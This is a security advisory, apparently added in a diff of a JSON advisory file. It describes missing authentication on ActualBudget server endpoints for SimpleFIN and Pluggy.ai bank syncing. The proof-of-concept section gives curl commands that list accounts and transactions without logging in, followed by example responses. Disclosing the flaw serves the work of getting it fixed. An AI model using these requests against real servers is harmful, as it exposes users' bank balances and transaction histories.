+ "details": "### Summary\n\nMissing authentication middleware in the ActualBudget server component allows any unauthenticated user to query the SimpleFIN and Pluggy.ai integration endpoints and read sensitive bank account balance and transaction information.\n\n### Impact\n\nThis vulnerability allows an unauthenticated attacker to read the bank account balance and transaction history of ActualBudget users. This vulnerability impacts all ActualBudget Server users with the SimpleFIN or Pluggy.ai integrations configured. The ActualBudget Server instance must be reachable over the network.\n\n### Details\n\nThe ActualBudget server component allows for integration with SimpleFIN and Pluggy.ai services. These services read bank account balances and transaction data from users' banks and return the data to ActualBudget. The affected endpoints facilitate this integration and are intended to be used only by logged in users for the purposes of syncing bank transaction data.\n\nThe vulnerable source code is in the following files in the `actualbudget/actual` GitHub repository (https://github.com/actualbudget/actual/):\n* `/packages/sync-server/src/app-simplefin/app-simplefin.js`\n* `/packages/sync-server/src/app-pluggyai/app-pluggyai.js`\n\nThe sensitive endpoints missing authentication are:\n* `POST /simplefin/status`\n* `POST /simplefin/accounts`\n* `POST /simplefin/transactions`\n* `POST /pluggyai/status`\n* `POST /pluggyai/accounts`\n* `POST /pluggyai/transactions`\n\nThe following source code is an example of an integration that implements the authentication middleware (`packages/sync-server/src/app-gocardless/app-gocardless.js`):\n```js\nconst app = express();\napp.use(requestLoggerMiddleware);\n...\napp.use(express.json());\napp.use(validateSessionMiddleware); // <-- Uses authentication\n```\n\n\n### PoC\n\nThe below commands exploit this vulnerability on both the SimpleFIN and Pluggy.ai endpoints. No authentication is required. Network access is required.\n\nSimpleFIN:\n```bash\n# Check if SimpleFIN is configured\ncurl -X POST \"https://<actualbudgethost>/simplefin/status\"\n\n# List SimpleFIN accounts\ncurl -X POST \"https://<actualbudgethost>/simplefin/accounts\"\n\n# List SimpleFIN transactions with an account ID from the previous request\ncurl -X POST \"https://<actualbudgethost>/simplefin/transactions\" -H \"Content-Type: application/json\" -d '{\"accountId\":[\"ACT-XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX\"],\"startDate\":[\"2026-02-01\"]}'\n```\n\nPluggyAI:\n```bash\n# Check if PluggyAI is configured\ncurl -X POST \"https://<actualbudgethost>/pluggyai/status\"\n\n# List Pluggy.ai accounts\ncurl -X POST \"https://<actualbudgethost>/pluggyai/accounts\"\n\n# List Pluggy.ai transactions with an account ID from the previous request\ncurl -X POST \"https://<actualbudgethost>/pluggyai/transactions\" -H \"Content-Type: application/json\" -d '{\"accountId\":[\"ACT-XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX\"],\"startDate\":[\"2026-02-01\"]}'\n```\n\nExample response from `POST /simplefin/accounts`:\n```json\n{\n \"status\": \"ok\",\n \"data\": {\n \"accounts\": [\n {\n \"id\": \"ACT-XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX\",\n \"name\": \"CHEQUING ACCOUNT\",\n \"currency\": \"CAD\",\n \"balance\": \"1234.56\",\n \"available-balance\": \"0.00\",\n \"balance-date\": 1771531758,\n \"transactions\": [],\n \"holdings\": [],\n \"org\": {\n \"domain\": \"www.cibc.com\",\n \"name\": \"CIBC\",\n \"sfin-url\": \"https://beta-bridge.simplefin.org/simplefin\",\n \"url\": \"https://www.cibconline.cibc.com\",\n \"id\": \"www.cibconline.cibc.com\"\n }\n },\n ...\n ]\n }\n}\n```\n\nExample response from `POST /simplefin/transactions`:\n```json\n{\n \"status\": \"ok\",\n \"data\": {\n \"ACT-XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX\": {\n \"balances\": [\n {\n \"balanceAmount\": {\n \"amount\": \"1234.56\",\n \"currency\": \"CAD\"\n },\n \"balanceType\": \"expected\",\n \"referenceDate\": \"2026-02-19\"\n },\n {\n \"balanceAmount\": {\n \"amount\": \"1234.56\",\n \"currency\": \"CAD\"\n },\n \"balanceType\": \"interimAvailable\",\n \"referenceDate\": \"2026-02-19\"\n }\n ],\n \"startingBalance\": 123456,\n \"transactions\": {\n \"all\": [\n {\n \"booked\": true,\n \"sortOrder\": 1771502400,\n \"date\": \"2026-02-19\",\n \"payeeName\": \"E-Transfer\",\n \"notes\": \"SEND E-TFR ***ABC\",\n \"transactionAmount\": {\n \"amount\": \"-12.00\",\n \"currency\": \"USD\"\n },\n \"transactionId\": \"TRN-XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX\",\n \"transactedDate\": \"2026-02-19\",\n \"postedDate\": \"2026-02-19\"\n },\n ...\n ],\n \"pending\": []\n }\n }\n }\n}\n```",
0 commit comments